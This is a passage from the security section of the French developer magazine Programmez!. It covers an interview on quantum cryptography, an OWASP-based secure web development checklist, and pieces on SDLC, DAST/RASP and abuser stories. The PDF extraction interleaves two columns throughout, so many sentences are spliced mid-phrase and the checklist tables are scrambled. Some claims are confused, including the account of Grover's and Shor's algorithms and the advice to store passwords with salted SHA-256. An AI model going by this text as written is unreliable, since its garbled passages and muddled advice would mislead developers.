lectrices et lecteurs de Programmez!, Renaud n’est pas un inconnu, il avait publié un article sur l’informa-
tique quantique en 2015. Aujourd’hui, nous parlerons sécurité et cryptographie quantique. Une chose est
certaine : nous sommes à l’aube d’une révolution.
L
e quantique est l’un des buzz actuels.
Et cette nouvelle passion part un peu masque jetable. Chaque génération de clé
dans tous les sens, comme trop sou- est totalement aléatoire et il faut s’assurer
vent avec les buzz technologiques. que cela soit bien le cas. Et il faut s’assurer
« Rappelons que le quantique c’est la science que la clé ne soit pas interceptée par un
quantique et plus exactement les concepts “intrus” » nous explique Renaud.
quantiques ». Ce sont des mécanismes qui Le dernier point est très intéressant comme
régissent l’univers, la physique et le micro- explique Renaud : « si la clé quantique est
scopique. interceptée, pour pouvoir la décoder et la
« Quand on parle de cryptographie quan- lire, l’intercepteur est obligé de modifier la
tique, il s’agit d’utiliser la physique et l’infor- clé. Ce qui efface les données correspon-
matique quantique. Il s’agit, entre autres, dantes. »
d’un traitement quantique des données, en L’idée d’utiliser le quantique dans la sécuri-
binaire et dans une approche plus complexe té remonte aux années 1970 avec les tra-
que celui-ci. » introduit Renaud. vaux de Bennett et Brassard. Quelques
Parler de sécurité quantique, c’est souvent années plus tard, en 1984, ils définissent,
vague et un peu fourre-tout. Pour faire en théorie, un protocole pour la cryptogra-
simple : ce serait utiliser des technologies, phie quantique : BB84. En 1990, une autre
des mécanismes quantiques pour attaquer technique apparaît : utilisation de la corré-
et pour protéger des systèmes. On pourra lation quantique pouvant exister entre 2
parler de cryptographie quantique. Elle pro- photons (= intrication quantique).
tégera les communications. Ne jamais Comment transite la cryptologie quantique ?
oublier que le quantique peut servir à atta- « Les réseaux utilisant ce type de sécurité
quer, mais aussi à défendre. s’appuient des fibres optiques entre les per-
La cryptographie quantique est, théorique- sonnes (basiquement : émetteur & récep-
ment, le système le plus inviolable qu’il soit. teur). Pour s’assurer de la bonne communi-
Une attaque quantique ne pourrait pas la cation des clés, un simple code de correc-
casser. Pour réussir cet exploit, il faudrait tion d’erreur s’assure, avec une probabilité
violer les lois de la physique quantique. Ce aussi élevée que l’on souhaite, que person-
qui, actuellement, n’est pas concevable, ni ne n’a tenté d’intercepter la clé. »
en pratique ni en théorie. Mais alors comment utilise-t-on la crypto-
Si l’informatique quantique n’en est qu’à graphie quantique ? « Curieusement, c’est
ses débuts, la cryptographie quantique est le domaine le plus mature. Les matériels et
déjà mature et utilisée. logiciels existent. Il faut tout d’abord géné-
rer les clés quantiques. On peut le faire avec
Une idée ancienne un matériel adapté. Par exemple, le
Tout d’abord, définissons la cryptographie constructeur ID Quantique propose des
quantique. Pour simplifier : «il s’agit matériels dédiés. Pour échanger les clés, on
d’échanger des clés de sécurité entre deux utilisera plutôt une appliance réseau telle
Dwave personnes. Ces clés sont aussi longues que que Cerberis. Les deux sites ne doivent pas
© D-Wave les messages eux-mêmes (les données). être distants de +100 km (au-delà les
28 //programmez.com
SÉCURITÉ
pertes de données et la faiblesse du signal destinées à résoudre des problèmes d’opti- traditionnelles. « Nous ne pourrons plus uti-
sont trop importantes). L’échange peut se misation. liser la cryptographie comme aujourd’hui.
faire jusqu’à 100 Gbps. La transmission se « Actuellement, l’AES 128 est considéré Sur la cryptographie symétrique, il faudra
fait sur des uniques photons que l’on ne doit comme sûr et non cassé, du moins pas offi- doubler la taille des clés de chiffrement ou
pas perdre (sic). » poursuit Renaud. Et le ciellement. On considère qu’il faut un petit de hachage pour rester hors de portée
prix pour ces appliances n’est pas exorbi- multiple d’un algo dit symétrique (comme d’une attaque quantique. C’est un remède
tant, entre 5 000 et 10 000 € selon les AES) pour pouvoir le casser. Donc, pour cas- “simple”. Seul problème : on fait beaucoup
besoins. Les générateurs aléatoires quan- ser AES 128, il faudrait à minima un proces- de cryptographie non symétrique.
tiques sont vendus entre 1 000 et 5 000 €. seur quantique de 512 qubits. Alors, on Problème, les algorithmes de Shor rendent
Bien entendu, la cryptographie quantique, pourra commencer à chatouiller la crypto- l’algo asymétrique quasi caduc ! Car l’at-
qui assure donc une sécurité inviolable, graphie symétrique. Mais avec l’algorithme taque se fait sur l’algo en lui-même. Si on
répond à des usages très précis et n’est pas de Grover qui permet de diviser par 2 la double la clé, l’attaque a uniquement
adaptée à tout. (taille de la) clé symétrique, la marge n’est besoin de doubler, ou à peu près, sa puis-
La Suisse est l’un des pays les plus en avan- plus aussi grande qu’il n’y paraît. Casser un sance. Bref au lieu d’obliger à multiplier la
ce sur la cryptographie quantique. Elle est chiffrement 64 bits reste difficile et très puissance de calcul pour casser, nous
beaucoup utilisée par les banques. Les liai- long, mais les processeurs à plus de sommes presque linéaire même si le cassa-
sons se font en peer to peer. Un réseau en 256 qubits seront là dans quelques ge restera complexe et long. Et c’est bien le
étoile n’est pas compatible avec la crypto- années. » poursuit Renaud. problème de sécurité pour les prochaines
graphie quantique. « Aujourd’hui, une dou- En cryptographie asymétrique, largement années. » martèle Renaud.
zaine de réseaux d’échanges de clés sont utilisée aujourd’hui, nous arrivons à des Comme le dit Renaud dans ses interven-
disponibles et utilisables dans le monde ». Il clés de 768 bits et même 1024 (ex. : tions : la principale menace est l’algo de
existe aussi des réseaux académiques, sur- Grover sur la cryptographie symétrique. Il
«
tout aux USA et en Chine. s’agit d’un algo pur quantique pour cher-
La recherche se focalise sur les échanges cher parmi N valeurs non triées, il est pro-
de clés quantiques à longue distance, via LA babiliste, itératif et optimal. En cryptogra-
des satellites. La technique semble fonc- phie asymétrique, Shor est un algo quan-
tionner, mais ce n’est qu’expérimental pour CRYPTOGRAPHIE tique pour la recherche de période. Il est
le moment. probabiliste, utilise une QFT (Transformée
QUANTIQUE de Fourier Quantique). Il casse RSA, DSA,
Une menace RÉSISTE MÊME ECDSA, ECDLP.
pour la cryptographie Le risque, potentiel pour le moment, est tel-
traditionnelle ? AUX ATTAQUES « lement important que les chercheurs veu-
Il est difficile de cerner le marché réel de la lent substituer la cryptographie asymétrique
sécurité quantique. Une chose est sûre : QUANTIQUES même si aujourd’hui la menace est plus
l’informatique quantique va peu à peu portée sur la clé et les mécanismes
menacer la cryptographie actuelle. Car le d’échanges, demain se sera sur la signature
quantique fournira une puissance de cal- des clés, les communications en elles-
culs supérieure à ce que l’on connaît RSA 1024). Un débat entre chercheurs dis- mêmes, etc. Pour réfléchir et trouver des
actuellement. Et la sécurisation actuelle des cute sur la meilleure méthode pour casser alternatives pour contrer les attaques quan-
communications, des données, les clés un RSA 2048: par la voie traditionnelle ou tiques, il existe une conférence annuelle
seront cassées, au moins sur les grands par le quantique ? « Cependant, pour casser dédiée : PQCrypto.
nœuds Internet. RSA 1024, il faudra une puissance de plu-
« Il faut avoir en tête que l’informatique sieurs dizaines voire centaines de milliers de Actuellement
quantique fait des bonds colossaux : nous qubits, voire, plus. On ne devrait pas voir ce 6 familles d’algos
sommes passés à des ordinateurs quan- genre de puissances avant 15, voire, 20 sont étudiées :
tiques de 2 à 4 qubits à +40 et librement ans. » poursuit Renaud. • Lattice
accessibles ! Aujourd’hui, on atteint les Soyons tout de même attentif, car : le cas- • Multivariate
128 qubits avec des puces universelles » sage de clé symétrique et asymétrique exis- • Hash
explique notre expert. te. Le quantique y jouera un rôle important. • Code
• Supersingular elliptic curve isogeny
Sans revenir sur les notions de base, la Kézako la cryptographie (rien que le nom est sympa)
puce quantique universelle est une puce post-quantique ? • Symmetric key quantum resistance
capable de supporter tous les algorithmes La notion de cryptographie post-quantique Cependant, aujourd’hui, il existe peu d’algo
quantiques (Shor, Grover, etc.), à l’opposé est trompeuse. Ce n’est pas la cryptogra- asymétrique post-quantique. Le plus connu
des puces adiabatiques comme celles utili- phie après le quantique, mais la cryptogra- est NTRU, qui existe pour le chiffrement et
sées par D-Wave. Elles sont essentiellement phie quand le quantique aura cassé les clés la signature électronique. •
programmez.com// 29
Jérôme Thémée
SÉCURITÉ Passionné de hacking depuis 1998, Jérôme décide d'en faire son métier en
prenant un poste de freelance dans la formation et le conseil en Cybersécurité.
Jérôme a évolué dans le monde de la cybersécurité avec l'écriture de livres, le
poste de trésorier du Club EBIOS, créateur de support de cours pour l’ANSSI,
auteur aux éditions ENI.
Les 10
concepts du développement
sécurisé sur une application WEB
Afin de pouvoir développer avec les bonnes pratiques en matière de sécurité applicative, il est nécessaire de se pencher sur
les outils existants et d’en faire sa propre expérience. Sur le marché, nous pouvons trouver l’incontournable OWASP (Open
Web Application Security Project) qui est une communauté regroupant plus de 32 000 personnes dans le monde autour de
projets sur la sécurité des applications Web, mobile, IOT. L’ANSSI (Agence nationale de la sécurité des systèmes d'informa-
tion), qui pourrait être considérée comme “l’agence mère” de la sécurité des systèmes d’information Française pour les orga-
nismes étatiques, sort régulièrement des directives en matière de cybersécurité et sécurité de l’information.
G
énéralement, les formations APPSEC (application security) Chaque langage a ses particularités mais les fondamentaux restent
niveau se focalisent dans un premier temps sur l’aspect offensif les mêmes. Pour la mise en place des bonnes pratiques, il vous
100 200
/ avec des démonstrations de hacking. Ceci afin de
comprendre comment les pirates (hackers) procèdent. Par la suite,
on continue sur le défensif avec les bonnes pratiques en matière de
suffira de regarder le manuel des langages que vous utilisez.
1- L’authentification
code, durcissement des serveurs/clients et gouvernance. En effet, les systèmes d'authentifications sont partout. Nos montres
Dans cet article, je vous propose de traiter l’urgence avec une intelligentes, nos smartphones, les annuaires d’entreprises et bien
première passe sur les bons concepts du “secure code” via les sûr nos applications. Ces systèmes parfois simples de l’extérieur,
sources OWASP. En effet, avant même de pouvoir comprendre les mais compliqués en interne, nécessitent une approche “secure by
concepts parfois complexes des attaques, il est nécessaire design”. C’est à dire bien configurés et administrés dès la création
d'éteindre l’incendie en utilisant dans l’immédiat, les bonnes du projet.
pratiques. Voici le début de notre checklist : �
Pour ce faire, je propose donc de faire un tour d’horizon des choses
à faire en sécurité des applications WEB avec la création d’une Voici quelques commentaires sur les différents items ci-dessus :
checklist des bonnes pratiques à utiliser dans la conception d’une • Il est naturel que les mots de passes simples ne soient pas utilisables
application. Cette checklist peut être évidemment complétée par pour des applications nécessitant de la sécurité. Un mot de passe
votre propre expérience et être utilisée à chaque développement complexe nécessite des majuscules, des caractères spécifiques
d’un projet. comme le signe Euros, Dollars, une arobase, etc., et des chiffres.
Cette approche permet de limiter les attaques par dictionnaire et
� ID Objet Contrôle de sécurité Checklist bruteforce (https://fr.wikipedia.org/wiki/Attaque_par_dictionnaire).
• Lors de la demande de réinitialisation d’un mot de passe par
1 Utilisation de mot Les mots de passe dépassent-ils 10 Oui/non l’utilisateur, un jeton est-il créé pour que la requête soit utilisée
de passe fort caractères minimum ? une seule fois et non rejouée ? Il est fondamental en sécurité des
Les mots de passe sont-ils complexes ?
applications, qu’une requête utilisateur soit à usage unique et
(majuscules, chiffres, caractères spéciaux)
ainsi éviter les vulnérabilités de type CSRF (cross-site request
2 La réinitialisation Un jeton unique est-il créé pour la Oui/non forgery) dont l’objectif est la création une requête HTTP
des mot de passes réinitialisation? falsifiées, qui, par exemple, permettrait de réinitialiser un mot de
est-elle sécurisée? passe.
3 Le stockage des Les mots de passe sont-ils hachés en Oui/non • Les mots de passes envoyés en base de données utilisent-ils une
mot de passes base de données et salés ? fonction de HASH fiable comme par exemple SHA-256 et non
MD5 ? Une fois les mots de passe hashés, ceux-ci sont-ils
4 Message d’erreur Les messages d’erreurs lors de Oui/non complexifiés avec une fonction de salage ? Personne n’est à l’abri
l’authentification sont-ils génériques afin
d’éviter de données des indices sur la d’une fuite de données, il en arrive chaque semaine et parfois
partie incorrect de l’authentification (login dans des organisations matures en sécurité de l’information. Les
OU mot de passe)? sources de risques sont parfois là où on s’y attend pas. Un
développeur mécontent, un groupe de hackeurs avec de fortes
5 Brute force L’application bloque-t-elle un utilisateur Oui/non
capacités, un salarié corrompu, etc. Il est donc nécessaire de ne
lors d’essais d’authentification excessive ?
pas stocker les mots de passe en clair dans une base de données.
30 //programmez.com
SÉCURITÉ
programmez.com// 31
SÉCURITÉ
3 - Contrôle d’accès
Après l’authentification, il est naturel de parler des contrôles
4 - Validation des entrées
Dans le monde de la SSI (sécurité des systèmes d’information), il
d’accès qui sont la suite du processus de navigation d’un utilisateur se dit souvent “zéro confiance aux utilisateurs”. Cette boutade n’a
sur une application. Cela peut paraître étonnant, mais il arrive rien de péjoratif. Elle indique plutôt que nous ne pouvons pas savoir
souvent dans nos missions de type test d’intrusion à l’ESD qui se trouve derrière l’écran. Un simple utilisateur, une personne
academy, de voir des brèches liées à la mauvaise configuration des malveillante voire même un utilisateur maladroit. À titre d’exemple,
contrôles d’accès, où un utilisateur avec peu de droits accède à des des milliers de sites WEB se sont retrouvés bloqués chez l'hébergeur
fonctionnalités non autorisées. Cloudflare en juillet dernier, à cause d’une expression régulière
Les contrôles d’accès ne sont pas simples à gérer, il suffit d’ouvrir inattendue provoquant le chargement CPU à 100% des serveurs.
le back-office d’un CMS, et de s’apercevoir que chaque module et Alors quels sont les types d’entrées qui pourraient compromettre
fonction à des droits à spécifier et qu’il suffit d’une mauvaise case nos applications ? Elles ne sont pas toutes répertoriées, mais les
cochée pour donner un pouvoir à un simple utilisateur. � vulnérabilités injectant du code malveillant sont courantes et bien
prolifiques. Le Cross Site Scripting (XSS), injection SQL(SQLI),
Voici quelques commentaires sur les différents items ci-dessus : Cross Site Request Forgery (CSRF) sont des vulnérabilités
• Une revue des droits est un exercice vieux comme le monde. d’injection dans les TOP 10 des risques les plus prévalents selon
Beaucoup d’entreprises matures en sécurité de l’information font l’OWASP (https://www.owasp.org/index.php/Top_10-2017_Top_10). Il est
régulièrement une revue des droits sur leurs annuaires, ERP, donc indispensable de se protéger de toute entrée sur nos
applications en tous genres. Ceci n’est pas mince à faire, mais applications. �
obligatoire pour une sécurité accrue. Un fichier Excel avec une
colonne fonctionnalité et une autre “droit”, peut-être un bon début. Voici quelques commentaires sur les différents items ci-dessus :
• Afin de vérifier la sécurité de ses applications, un audit peut-être • Il est nécessaire d’utiliser la désinfection (sanitization) dont le rôle
fait sans oublier la gestion des droits évidemment. Des outils tels est de contrôler, d'enlever tout caractère spécifique qui pourrait
que Burp suite font très bien l’affaire et permettent de faire ce compromettre nos applications telles que les quotes, chevrons,
travail en masse. Voici un exemple de prise en main de cet outil : pourcentages, etc. Cette méthode doit être appliquée à toutes les
https://www.youtube.com/watch?v=-gCEl6UrjUw entrées possibles, que ce soit d’un simple formulaire à un user
Il est possible également d’ouvrir plusieurs sessions sur une agent. La plupart des frameworks et CMS désinfecte (sanitize) les
application avec des utilisateurs ayant des droits faibles et entrées. Dans ce cas il est important de vérifier son bon
d’essayer d'accéder à des parties sensibles de l’application. fonctionnement. Il arrive encore parfois de voir que les plus
grands comme Wordpress ont laissé une vulnérabilité permettant
� ID Objet Contrôle de sécurité Checklist à un hacker d'injecter du code JavaScript malveillant (XSS
1 Liste des rôles La liste des rôles et des droits est-elle bien Oui/non stockée) sur le système de commentaire du CMS.
claire et documentée pour l’application? • La taille des entrées doit être également contrôlée, car des
vulnérabilités par débordement sont possibles. Elles laissent dans
2 Des tests de pénétration ont-ils été effec- Oui/non ce cas des problèmes de disponibilités des applications, voire
tués pour vérifier le contournement de la entraînent sa panne.
segmentation des droits suivant les rôles? • Comme vu sur le premier point, toutes les entrées doivent être
vérifiées, il ne faut donc pas oublier les entrées de nos modules,
� ID Objet Contrôle de sécurité Checklist plugins, frameworks. Des tests ou un audit de code est
indispensable pour l’utilisation de fonctionnalités extérieures
1 Périmètre des Toutes entrées utilisées par le serveur ou Oui/non intégrées à une application. Pour aller plus loin, lire une
entrées le code sont-elles contrôlées, nettoyées,
documentation complète de l’OWASP à ce sujet : https://cheatsheet-
telles les variables; variables liées au
series.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
réseau, cookie, id de session, user agent,
données des en-têtes HTTP en globalité,
champs cachés 5 - Validation des entrées
Les entrées étant vérifiées et contrôlées, qu'en est-il des sorties ?
2 Taille des entrées La taille des entrées est-elle contrôlée? Oui/non Effectivement, il est possible parfois que l’utilisateur ait besoin
d’entrées des chaînes spécifiques comme le cas des Wysiwyg avec
3 Contenu riche, Les contenus riches tels les Wysiwyg sont- Oui/non
module, plugin, ils bien contrôlés avec des frameworks du HTML. Dans ce cas, les sorties doivent être contrôlées pour
framework spécifiques? (HTML Purifer, AntiSamy, avoir le résultat demandé par l’application et rien de plus. �
Bleach, etc.)
Voici quelques commentaires sur les différents items ci-dessus :
� ID Objet Contrôle de sécurité Checklist • Les vulnérabilités XSS (injection de Javascript) sont les plus
prévalentes sur le WEB, il est important de les vérifier en entrée
1 Se prévenir des Les entrées utilisateurs sont-elles encodées Oui/non mais également en sortie. Surtout dans le cas où des caractères
XSS pour ne pas pouvoir utiliser du JavaScript spécifiques peuvent être tolérés dans une application pour des
ou HTML? (fonction d’encodage) besoins métiers. Encore une fois, la plupart des frameworks, CMS
32 //programmez.com
SÉCURITÉ
actuels utilisent par défaut des méthodes de nettoyage de sorties. ID Objet Contrôle de sécurité Checklist �
Chaque langage a ses propres particularités, des fonctions du
navigateur permettent également de stopper les XSS, voici une 1 Content-type Le contrôle des types et extensions Oui/non
documentation pour approfondir le sujet : https://www.owasp.org/index. (content-type) des fichiers envoyés au
serveur sont-ils contrôlés ?
php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
6 - upload de fichiers
Parmi les entrées vues ci-dessus, je vous propose un focus sur les
2 Renommer les
fichiers
Les fichiers changent-ils de nom une fois
stockés sur le serveur ?
Oui/non
uploads qui peuvent devenir des vulnérabilités importantes si les 3 Stocker le fichier Les fichiers envoyés sont-ils stockés dans Oui/non
bonnes pratiques suivantes ne sont pas établies. Sachez que si vous un répertoire non-connu des utilisateurs ?
utilisez un framework, un CMS, dont les modules sont vérifiés, vous
4 Contrôle des droits La gestion des droits sur les fichiers et des Oui/non
limitez énormément les risques à ce sujet. �
répertoires est-il à son minimum
nécessaire ?
Voici quelques commentaires sur les différents items ci-dessus :
• Il est bien de vérifier le type de contenu même si cette méthode
ID Objet Contrôle de sécurité Checklist �
peut être contournée par un hacker. “Qui peut le plus, peut le
moins”. 1 Echappement des L'échappement des entrées est-il effectué Oui/non
• Renommer le fichier permet d'éviter à un hacker d’essayer de le entrées avant l’entrée en base de données, DOM,
retrouver sur le serveur qui l'héberge. JavaScript, JSON, CSS?
• Pareil que pour le point précédent, il est préférable d’héberger les
fichiers dans un répertoire méconnu de l’utilisateur. 2 Content Security La Content Security Policy est-elle mise en Oui/non
• La gestion des droits (CHMOD) doit prendre le minimum. Policy place avec une whitelist des sources de
confiance?
7- Cross Site Scripting
C’est encore lui, le fameux XSS vu précédemment. Cette �
ID Objet Contrôle de sécurité Checklist
vulnérabilité est très présente lors de nos tests d’intrusion WEB et
très sous-estimée. 1 Token unique Un système de jeton chiffré est-il Oui/non
Une vulnérabilité XSS permettrait une attaque par hameçonnage chiffré incorporé dans le cheminement de
l’envoi d’un formulaire?
parfait. Vous pouvez imaginer d'avoir durci vos systèmes avec un
beau HTTPS sur votre navigateur. Et pourtant, une vulnérabilité 2 Captcha Un système de Captcha est-il proposé Oui/non
XSS pourrait changer le contenu du site et voler les identifiants des pour les formulaires avec des données
utilisateurs d’un site WEB sans difficulté. Alors voici, quelques plus sensibles?
pour se sécuriser des XSS : �
imaginer qu’une requête client ou bien serveur doit toujours avoir
Voici quelques commentaires sur les différents points ci-dessus : un point de départ. En effet, un hacker ou un pentester va essayer
• je le répète, nettoyer les entrées ! d’injecter de la donnée ou rejouer des requêtes dans tous les sens.
• La CSP (Content Security Policy) permet le filtrage en liste blanche Comme par exemple une requête permettant de changer un mot
(Whitelist) des domaines. Seuls les scripts JavaScript, CSS, de passe. Il est donc tout à fait normal que celle-ci soit attachée à
frames, images, etc., provenant des domaines ayant été un token (jeton) qui a été généré sur la page WEB du formulaire de
configurés sur la Content Security Policy pourront être insérés réinitialisation. Une captcha peut-être très efficace mais peut
dans la page WEB, ce qui protège toute insertion ou injection de facilement détériorer l'expérience utilisateur. �
données malveillantes. Cela rend la tâche plus difficile à un
hacker qui voudrait injecter un lien JavaScript hébergé sur un
autre serveur. À savoir que la CSP permet également d’interdire
9- Clickjacking
Les techniques de détournements de clic, ce que l'on appelle le
le JavaScript de type inline. Grosso modo, il devient impossible de Clickjacking, permettent de détourner du trafic utilisateur en le
placer des instructions dans le code, même d’une page. Ces deux forçant à cliquer sur une iframe invisible superposée à un élément
techniques bien que mal connues sont pourtant très efficaces, d’un site WEB. La plus récente attaque de ce type est le likejacking
voici un exemple à placer dans les entêtes HTTPS : visant à insérer une iframe invisible dans un site web afin que
l’utilisateur clique dessus pour partager du contenu sur Facebook
Content-Security-Policy: default-src 'self';
ou liker une page afin de générer du trafic.
Voici deux points dont la fonction permet d’éviter ces attaques : �
8 - Cross Site Request Forgery
Ayant fait un tour sur cette vulnérabilité lors du point 1, pour la Voici quelques commentaires sur les différents items ci-dessus :
réinitialisation des mots de passe. Le CSRF est bien plus que ça, il • Encore une fois, la CSP intervient. Celle-ci par sa nature permet
appartient au Hall of fame des vulnérabilités WEB les plus de limiter les vulnérabilités de type Clickjacking.
présentes ces dernières années. Pour s’en protéger, il faut toujours • X-Frame-Options et une fonction du navigateur dont le but même est
programmez.com// 33
SÉCURITÉ
� d’interdire les frames superposées sur les unes sur les autres.
ID Objet Contrôle de sécurité Checklist Celle-ci s'intègre comme la CSP, dans les entêtes HTTP.
1 Content Security
Policy
La Content Security Policy est-elle mise en
place avec une whitelist des sources de
Oui/non
10 - Enregistrer les évènements
Eh oui, c’est une des premières choses que l’on enseigne dans
confiance afin d'éviter toute injection de
frame de source de non-confiance? notre mastère ESD academy. Logs, logs et logs ! Ceux-ci ne sont
(attention à la version des navigateurs pas utilisés seulement pour déboguer mais également pour laisser
supportés) des traces qui pourraient être intéressantes en cas d’une réponse à
incident. Si votre application WEB semble corrompue, piratée, il est
bon de pouvoir trouver par où le hacker est passé. À savoir, il y a
2 X-frame-options Si la CSP (Content Security Policy) n’est Oui/non deux fondamentaux dans la gestion des logs : Enregistrer les
pas mise en place, les X-Frame-options évènements et les configurer pour être le moins verbeux possible
sont-elles configurées?
aux utilisateurs pour éviter de donner des informations sensibles à
des personnes malveillantes. ��
Voici un checklist que vous pouvez préparer, alimenter et insérer
�� ID Objet Contrôle de sécurité Checklist
dans votre cycle de développement, si ce n’est pas déjà le cas. Le
but est de pouvoir s’adapter à son contexte métier sans mettre de
1 Évènements liés au Les évènements (logs) liés aux échecs Oui/non côté l’expérience utilisateur et les besoins de l’application. C’est en
serveur d'authentification, aux erreurs de requêtes cela que la sécurité des systèmes d’information, et également des
HTTP et aux échecs de session sont-ils applications, prend son sens. Savoir balancer et mesurer entre les
enregistrés? besoins business et les besoins de sécurité. J’ai dit ! •
2 Évènements liés au Les évènements liés au code lors des Oui/non ESD academy
code erreurs produites (flaw, bug) sont-ils (https://esdacademy.eu)
enregistrés?
Fondée en 2015, l'ESD academy a pour mission d'apporter des
3 Évènements Les évènements, en général, sont-ils Oui/non formations, des certifications et un mastère en cybersécurité
régulièrement consultés? pour les organisations francophones et européennes.
Notre objectif est clairement identifié, concurrencer les acteurs
étrangers dans la formation et la reconnaissance en sécurité
4 Attaque Lors d’une attaque cybercriminelle, est-on Oui/non
des systèmes d'information. Pour y arriver nous regroupons
capable de réagir avec l’aide des
autour d'un label, des experts du domaine (étatiques et privés)
évènements?
pour de la création de contenu et l'enseignement.
Abonnez-vous
sur :
www.programmez.com
34 //programmez.com
J-F BAILLETTE
Je suis ingénieur informaticien et SÉCURITÉ
roboticien et passionné d’informatique.
fondateur de www.g-echo.fr
G-Echo
programmez.com// 35
SÉCURITÉ
Processus - SDLC
On entend souvent: “La cybersécurité, ce n’est pas compliqué,
c’est un processus, pas des outils”. Microsoft propose un processus
complet de développement sécurisé, le SDLC (Security
Development Lifecycle) et a poussé la norme ISO 27034 qui
intègre ce SDLC.
DAST: analyse dynamique de l’application Le principe global est simple : intégrer le développement, la sécu-
Le DAST (Dynamic, Application Security Testing) consiste à stresser rité et les opérations dans une boucle de rétroaction visant à assu-
l’application avec des patterns ou techniques connues de façon à rer la sécurité des développements.
tester sa résistance à des attaques que l’on peut rencontrer dans la
vraie vie.
La démarche s’apparente à des tests de validation ou des tests de
Q/A et de charges. L’analyste apporte une vraie valeur ajoutée pour
affiner les types d’attaques proposées par les outils. En mode agile, la représentation du processus revient à un ruban
de Möbius que vous connaissez sans doute déjà et qui permet de
bien figurer la dynamique :
En synthèse
Si vous intégrez SCA, DAST/SAST, RASP et la gestion des vulnéra-
bilités, vous obtenez un cycle de gestion de vos vulnérabilités qui
peut ressembler à celui de la suite Micro Focus :
RASP: analyse runtime des attaques
Le RASP est une sorte de WAF (Web App Firewall) applicatif qui va
protéger vos applications en temps réel et tracer les menaces
détectées. En étant beaucoup plus intégré à votre application, le
RASP va en profondeur et couvre des besoins plus larges.
36
SÉCURITÉ
Partir de l’analyse de risques développements. Dans son livret, l’ANSSI propose un exemple
Vous ne ferez pas une application “safe” sans comprendre à la fois Le.Taxi qui explique en particulier l’analyse de risques : il s’agit de
l’environnement dans lequel vous la développez et l’environnement noter entre 1 et 3 dans cet exemple (3 étant le plus important) le
d’exécution en production. besoin de sécurité d’un user story. On décline ce besoin sur les axes
Afin de bien comprendre les risques, vous pouvez avoir une de la sécurité: DICP.
démarche top down, qui ne part pas des outils ou du code, mais de
la vue “business” et du couple risque/impact lié au mésusage pos-
sible par un tiers qui tirerait profit du système d’information que
vous développez.
De nombreux référentiels existent pour faire un état de la menace
sur les entreprises. Les normes ISO 27001 et ISO 27005 permet-
tent de mettre en place un processus “qualité” et de mener des
analyses de risques sur la sécurité de l’information. L’approche
GDPR renforce la mise en place de mesures de sécurité en deman-
dant de gérer également le risque et l’impact du vol de données © ANSSI
personnelles.
Il est devenu vital d’intégrer des démarches de mesure du risque Besoins en :
dans les projets et de mise en place de contre-mesures adaptées • Disponibilité : qu’est-ce qui se passe si le user story ne peut pas
dans votre code pour répondre à des exigences de haut niveau. se dérouler ? C’est un peu (1) ou très (3) important ?
L’ANSSI a publié un guide pour le développement agile. • Intégrité : on peut modifier des données du user story à “l’insu
Comme je m’adresse à des développeurs, évoquons des questions techniques : de mon plein gré” ?
• Qu’est-ce qui se passe si je vole la session d’un de vos clients ? • Confidentialité : quelqu’un qui n’a pas le droit d’accéder aux
• Que puis-je faire si j’usurpe l’identité d’un équipement CAN de données s’en empare… quel impact ?
votre réseau automobile ? • Preuve/Trace : s’il y a un problème, quel type de traces permettra
• Est-ce que je peux lire (et modifier) des flux si je me trouve en à un enquêteur d’investiguer ou même que votre trace devienne
interception (man in the middle) ? opposable en justice ?
• Est-ce que je peux avoir accès à votre base de données à travers Nous vous conseillons de rajouter vos abuser stories dans le back-
un appel API ? log et d’écrire des tests permettant de valider la pertinence des
• Qu’est-ce que je peux voler dans le stockage ou le cache de votre contre-mesures. Lorsque vos tests sont OK dans votre CI/CD ; vous
navigateur qui me permettrait de répondre aux questions précé- serez prêts pour l’homologation et sans doute être aligné avec la
dentes ? politique de sécurité de l’entreprise.
Des questions se posent également au niveau de votre entreprise:
• Votre PDG et votre RSSI risquent-ils d’être légalement inquiétés ? Référence :
• La société devra-t-elle être exposée sur la place publique et payer Guide ANSSI/DISINC pour le DevSec en mode agile :
3% de son CA en amendes ? https://www.ssi.gouv.fr/administration/guide/agilite-et-securite-numeriques-metho-
• Est-ce que les données de l’entreprise ou les données des clients de-et-outils-a-lusage-des-equipes-projet/
se retrouveront sur le darknet ou chez un concurrent ? OWASP Software Assurance Maturity Model :
• Est-ce que les clients peuvent avoir confiance dans nos services, https://www.opensamm.org et https://owaspsamm.org/v2.0b/introduction/
dans le futur ?
Je crois que c’est de notre responsabilité en tant que développeurs Conclusion
de trouver des réponses à ces questions. Ou au moins de proposer Choisissez le référentiel que vous souhaitez:
des solutions. OWASP, ANSSI, NIST, ISO27014, … et
Des équipements, comme les WAF, sont là pour vous protéger implémentez une démarche d’amélio-
certes, mais le premier rempart reste le code. Il faut le livrer régu- ration continue. Vous découvrirez
lièrement avec une qualité totale, une sécurité adaptée, même tous les jours de nouvelles
sous la pression de délivrer ASAP la nouvelle killer feature. méthodes d’exploitation, de nou-
À vous de faire en sorte que votre application résiste à la menace velles vulnérabilités, de nouveaux
en gérant des “Abuser stories”. exploits. A vous de les prendre en
compte dans les développements.
En tant que développeur, vous vous
inscrivez dans une chaîne de valeurs
dans laquelle d’une part la réglemen-
ABUSER STORIES tation se durcit, d’autre part le nombre
et la force des attaquants potentiels ne
En parallèle aux sprints agiles que vous menez habituellement, cessent de croître. Et vous, vous en êtes où
demandez-vous comment un attaquant pourrait abuser de vos dans votre DevSecOps maturity model ?
37
Best Practice : Comment organiser et assurer
la sécurité de ses projets de développement ?
La sécurité et plus particulièrement la cybersécurité est de plus en plus au cœur de l’actualité. Les différents projets de déve-
loppement n’échappent pas à la règle et nécessitent eux aussi l’intégration d’une équipe dédiée aux problématiques de
sécurité. Josselin Mignerey, chercheur en Cybersécurité chez WALLIX retrace avec nous les différentes phases et les rôles de
l’équipe sécurité au sein d’un projet de développement en adoptant une démarche « Security By Design ».
Une intégration puie) doit être conservé pour le suivi par leur numéro de « Common Vulne- peut être mis en place par l’équipe de
en amont des mises à jour de sécurité. Enfin, à rabilities & Exposures - CVE » sur les développement avec l’accompagne-
Lors de la phase de spécification, la cette étape, un processus de tests de composants) ou privées (résultats ment de l’équipe Sécurité qui sera, dès
description des fonctions et des interac- sécurité automatiques ou manuels d’audits et tests d’intrusions transmis lors l’interlocuteur privilégié des interac-
tions au sein du projet, l’équipe sécurité peut être intégré aux tests fonctionnels par les clients ou réalisés en interne) à tions avec l’organisme responsable de
